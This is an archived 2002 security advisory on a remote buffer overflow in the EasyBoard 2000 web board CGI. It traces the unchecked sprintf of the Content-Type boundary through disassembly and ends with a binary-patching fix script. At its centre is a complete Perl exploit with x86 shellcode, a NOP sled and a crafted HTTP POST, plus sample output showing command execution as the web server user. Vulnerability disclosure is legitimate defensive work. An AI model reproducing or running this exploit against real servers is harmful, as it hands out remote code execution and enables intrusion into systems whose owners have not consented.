OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: jhyouchonnam.chonnam.ac.kr
Date: Sun Feb 10 2002 - 18:30:15 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    EasyBoard 2000 Remote Buffer Overflow Vulnerability

    Jin Ho You, jhyouchonnam.chonnam.ac.kr

    1 Discussion

    EasyBoard 2000(http://ezboard.new21.org) is a web board CGI. Improperly
    manipulated user-supplied input to the Content-Type header can create
    an buffer overflow condition. This vulnerability allows arbitrary remote
    code execution with the privileges of the webserver.

    2 Vulnerable version

    EasyBoard 2000 1.27xx

    3 Vulnerability Analysis

    3.1 Analyzed version

      ezboard 1.27(BUILD 515) for RedHat 7.0(x86)

      You can download it from:
      http://ezboard.new21.org/cgi-bin/ez2000/ezboard.cgi?db=ez2k/pds&action=down&dbf
    =52&ftype=file&file=ez2k_linux70(x86).zip

    3.2 Vulnerable CGIs

    Vulnerable CGIs are ezboard.cgi, ezman.cgi and ezadmin.cgi.

    $ strings ezboard.cgi | grep -- "--%s"
    --%s
    $ strings ezman.cgi | grep -- "--%s"
    --%s
    $ strings ezadmin.cgi | grep -- "--%s"
    --%s

    3.3 Analysis of ezboard.cgi

    $ objdump -s ezboard.cgi | less

     806ad60 4700504f 53540043 4f4e5445 4e545f54 G.POST.CONTENT_T
     806ad70 59504500 00000000 00000000 00000000 YPE.............
     806ad80 6170706c 69636174 696f6e2f 782d7777 application/x-ww
     806ad90 772d666f 726d2d75 726c656e 636f6465 w-form-urlencode
     806ada0 64002600 3d007365 6c6e756d 00434f4e d.&.=.selnum.CON
     806adb0 54454e54 5f4c454e 47544800 00000000 TENT_LENGTH.....
     806adc0 6d756c74 69706172 742f666f 726d2d64 multipart/form-d
     806add0 6174613b 20626f75 6e646172 793d002d ata; boundary=.- <-- 0x806addf
     806ade0 2d257300 0d0a2573 00000000 00000000 -%s...%s........ "--%s"
     806adf0 00000000 00000000 00000000 00000000 ................
     806ae00 436f6e74 656e742d 44697370 6f736974 Content-Disposit
     806ae10 696f6e3a 20666f72 6d2d6461 74613b20 ion: form-data;
     806ae20 002d2d00 3b206669 6c656e61 6d650025 .--.; filename.%

    $ objdump -d ezboard.cgi | less

     804aff5: 57 push %edi
     804aff6: 68 df ad 06 08 push $0x806addf ---> "--%s"
     804affb: 8d 9d e8 fe ff ff lea 0xfffffee8(%ebp),%ebx
     804b001: 53 push %ebx
     804b002: e8 89 e5 ff ff call 0x8049590

    $ gdb ezboard.cgi
    (gdb) disassemble 0x804aff6

    0x804af84 <strcpy+6500>: push %ebp
    0x804af85 <strcpy+6501>: mov %esp,%ebp
    0x804af87 <strcpy+6503>: push %edi
    0x804af88 <strcpy+6504>: push %esi
    0x804af89 <strcpy+6505>: push %ebx
    0x804af8a <strcpy+6506>: sub $0x648,%esp

    0x804af90 <strcpy+6512>: mov $0x806adc0,%edi
    0x804af95 <strcpy+6517>: cld
    0x804af96 <strcpy+6518>: mov $0xffffffff,%ecx
    0x804af9b <strcpy+6523>: mov $0x0,%al
    0x804af9d <strcpy+6525>: repnz scas %es:(%edi),%al
    0x804af9f <strcpy+6527>: not %ecx
    0x804afa1 <strcpy+6529>: dec %ecx
    0x804afa2 <strcpy+6530>: mov %ecx,0xfffff9e0(%ebp)

        delim_len = strlen("multipart/form-data; boundary=");

    0x804afa8 <strcpy+6536>: push $0x806ad67 "CONTENT_TYPE"
    0x804afad <strcpy+6541>: call 0x8049210 <getenv>
    0x804afb2 <strcpy+6546>: mov %eax,%ebx

        content_type = getenv("CONTENT_TYPE");

    0x804afb4 <strcpy+6548>: lea 0xfffff9e4(%ebp),%eax
    0x804afba <strcpy+6554>: mov %eax,(%esp,1)
    0x804afbd <strcpy+6557>: call 0x804aee4 <strcpy+6340>
    0x804afc2 <strcpy+6562>: mov %eax,%esi
    0x804afc4 <strcpy+6564>: sub $0x8,%esp

    0x804afc7 <strcpy+6567>: push $0x806adc0
    0x804afcc <strcpy+6572>: push %ebx
    0x804afcd <strcpy+6573>: call 0x8049360 <strstr>

    (gdb) x/s 0x806adc0
    0x806adc0 <_IO_stdin_used+1756>: "multipart/form-data; boundary="

        delim = strstr(content_type, "multipart/form-data; boundary=");

    0x804afd2 <strcpy+6578>: add $0x20,%esp
    0x804afd5 <strcpy+6581>: mov %eax,%edi
    0x804afd7 <strcpy+6583>: test %edi,%edi
    0x804afd9 <strcpy+6585>: jne 0x804afec <strcpy+6604>
    0x804afdb <strcpy+6587>: sub $0xc,%esp
    0x804afde <strcpy+6590>: pushl 0x806fe6c
    0x804afe4 <strcpy+6596>: call 0x804cc2c <strcpy+13836>
    0x804afe9 <strcpy+6601>: add $0x10,%esp

    0x804afec <strcpy+6604>: add 0xfffff9e0(%ebp),%edi

        delim += delim_len;

    0x804aff2 <strcpy+6610>: sub $0x4,%esp

    0x804aff5 <strcpy+6613>: push %edi
    0x804aff6 <strcpy+6614>: push $0x806addf
    0x804affb <strcpy+6619>: lea 0xfffffee8(%ebp),%ebx
    0x804b001 <strcpy+6625>: push %ebx
    0x804b002 <strcpy+6626>: call 0x8049590 <sprintf>

                char boundary[280];
                sprintf(boundary, "--%s", delim);

    The disassembled code is like the C code:

    parse_multipart()
    {
        char boundary[280];

        ...

        delim = strstr(getenv("CONTENT_TYPE"), "multipart/form-data; boundary=");
        delim += strlen("multipart/form-data; boundary=");
        sprintf(boundary, "--%s", delim);

        ...
    }

    We can see that sprintf() function call can create buffer overflow condition.

    4 Exploit

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    #!/usr/bin/perl
    # ez2crazy.pl
    #
    # Remote Buffer Overflow x86 Linux Exploit for
    # CrazyWWWBoard(http://www.crazywwwboard.com),
    # EasyBoard 2000(http://ezboard.new21.org) and
    # CGIs using qDecoder 4.0~5.0.8
    #
    # Excessive boundary delimiter string in the header
    # "Content-Type: multipart/form-data" permits the buffer overflow attack.
    #
    # Programmed by Jin Ho You, jhyouchonnam.chonnam.ac.kr, 2002/02/11

    $usage =
    "usage: ez2crazy.pl [options] CGI-URL\n
      CGI-URL URL of the target CGI
      -c command Bourne shell command
                     Default: '/bin/echo 00ps, Crazy!;id'
      -o offset Offset of the egg shell code,
                     Recommended [-300,+300]

    example)
      ez2crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi
      ez2crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi
      ez2crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\
               target.com/cgi-bin/vulnerable.cgi

    ";

    use Getopt::Std;
    getopt('oc');

    if ($#ARGV < 0) {
        print $usage;
        exit(0);
    };

    $cgiurl = $ARGV[0];
    $command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!;id";
    $offset = $opt_o ? $opt_o : 0;

    $cgiurl =~ s/http:\/\///;
    ($host, $cgiuri) = split(/\//, $cgiurl, 2);
    ($host, $port) = split(/:/, $host);
    $port = 80 unless $port;

    $command = "/bin/echo Content-Type: text/html;/bin/echo;($command)";
    $cmdlen = length($command);

    $argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;
    $shellcode =
      "\xeb\x37" # jmp 0x37
    . "\x5e" # popl %esi
    . "\x89\x76" . pack(C, $argvp) # movl %esi,0xb(%esi)
    . "\x89\xf0" # movl %esi,%eax
    . "\x83\xc0\x08" # addl $0x8,%eax
    . "\x89\x46" . pack(C, $argvp + 4) # movl %eax,0xb(%esi)
    . "\x89\xf0" # movl %esi,%eax
    . "\x83\xc0\x0b" # addl $0xb,%eax
    . "\x89\x46" . pack(C, $argvp + 8) # movl %eax,0xb(%esi)
    . "\x31\xc0" # xorl %eax,%eax
    . "\x88\x46\x07" # movb %eax,0x7(%esi)
    . "\x4e" # dec %esi
    . "\x88\x46\x0b" # movb %eax,0xb(%esi)
    . "\x46" # inc %esi
    . "\x88\x46" . pack(C, 0x0b + $cmdlen) # movb %eax,0xb(%esi)
    . "\x89\x46" . pack(C, $argvp + 12) # movl %eax,0xb(%esi)
    . "\xb0\x0b" # movb $0xb,%al
    . "\x89\xf3" # movl %esi,%ebx
    . "\x8d\x4e" . pack(C, $argvp) # leal 0xb(%esi),%ecx
    . "\x8d\x56" . pack(C, $argvp + 12) # leal 0xb(%esi),%edx
    . "\xcd\x80" # int 0x80
    . "\x31\xdb" # xorl %ebx,%ebx
    . "\x89\xd8" # movl %ebx,%eax
    . "\x40" # inc %eax
    . "\xcd\x80" # int 0x80
    . "\xe8\xc4\xff\xff\xff" # call -0x3c
    . "/bin/sh0-c0" # .string "/bin/sh0-c0"
    . $command;

    $offset -= length($command) / 2 + length($host . $port . $cgiurl);
    $shelladdr = 0xbffffbd0 + $offset;
    $noplen = 242 - length($shellcode);
    $jump = $shelladdr + $noplen / 2;
    $entries = $shelladdr + 250;
    $egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9
            . pack(V, $entries) x 2 . pack(V, $jump) x 2;

    $content = substr($egg, 254) .
      "--\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n0\r\n--$egg--\r\n";
    $contentlength = length($content);

    $exploit =
    "POST /$cgiuri HTTP/1.0
    Connection: Keep-Alive
    User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)
    Host: $host:$port
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    Accept-Encoding: gzip
    Accept-Language: ko
    Accept-Charset: euc-kr,*,utf-8
    Content-type: multipart/form-data; boundary=$egg
    Content-length: $contentlength

    $content
    ";

    use Socket;
    $iaddr = inet_aton($host) or die("Error: $!\n");
    $paddr = sockaddr_in($port, $iaddr) or die("Error: $!\n");
    $proto = getprotobyname('tcp') or die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die("Error: $!\n");
    connect(SOCKET, $paddr) or die("Error: $!\n");
    send(SOCKET, $exploit, 0) or die("Error: $!\n");
    while (<SOCKET>) {
        print;
    }
    close(SOCKET);
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    - example

    $ ./ez2crazy.pl -o -250 http://vulnerable.net/ezboard/ezboard.cgi
    HTTP/1.1 200 OK
    Date: Sun, 10 Feb 2002 19:08:46 GMT
    Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6
    DAV/1.0.2 PHP/4.0.4pl1 mod_perl/1.24_01
    Connection: close
    Content-Type: text/html

    00ps, Crazy!
    uid=48(apache) gid=48(apache) groups=48(apache)

    5 Vulnerability Fix

    The vulnerability can be fixed by replacing sprintf(boundary, "--%s", delim)
    with sprintf(boundary, "--%.200s", delim).

    The following code fixes the binary programs of EasyBoard 2000 x86 Linux
    version.

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    #!/usr/bin/perl
    # ezboard-fix.pl
    #
    # EasyBoard 2000 Buffer Overflow Vulnerability Fix for x86 Linux version
    #
    # Run this program in the directory where ezboard.cgi exists.
    #
    # Programmed by Jin Ho You, jhyouchonnam.chonnam.ac.kr, 2002/02/11

    LOOP:
    for $cgi_file ("ezboard.cgi","ezadmin.cgi", "ezman.cgi") {
        if (! -e $cgi_file) {
            print "$cgi_file does not exist.\n";
            next LOOP;
        }

        $cgi_content=`cat $cgi_file`;

        if (index($cgi_content, "EasyBoard 2000") == -1 ||
            index($cgi_content, "ld-linux.so") == -1) {
            print "$cgi_file is not EasyBoard 2000 for x86 Linux.\n";
            next LOOP;
        }

        obj_header = split(' ', `objdump -h $cgi_file | grep rodata`);
        $moff_section = hex($obj_header[3]);
        $foff_section = hex($obj_header[5]);
        $foff_fmtstr = index($cgi_content, "--%s");
        $moff_fmtstr = $moff_section + $foff_fmtstr - $foff_section;
        $foff_push = index($cgi_content, pack("V",$moff_fmtstr));
        if ($foff_push == -1) {
            print "$cgi_file is already fixed!\n";
            next LOOP;
        }

        printf "$cgi_file: '--%%s' = 0x%08x, push '--%%s' = 0x%08x\n",
                $foff_fmtstr, $foff_push;

        open(CGI, "+<$cgi_file") or die "cannot open $cgi_file: $!";
        seek(CGI, $foff_fmtstr + 17, SEEK_SET);
        print CGI "--%.200s";
        seek(CGI, $foff_push, SEEK_SET);
        print CGI pack("V", $moff_fmtstr + 17);
        close(CGI);
    }
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~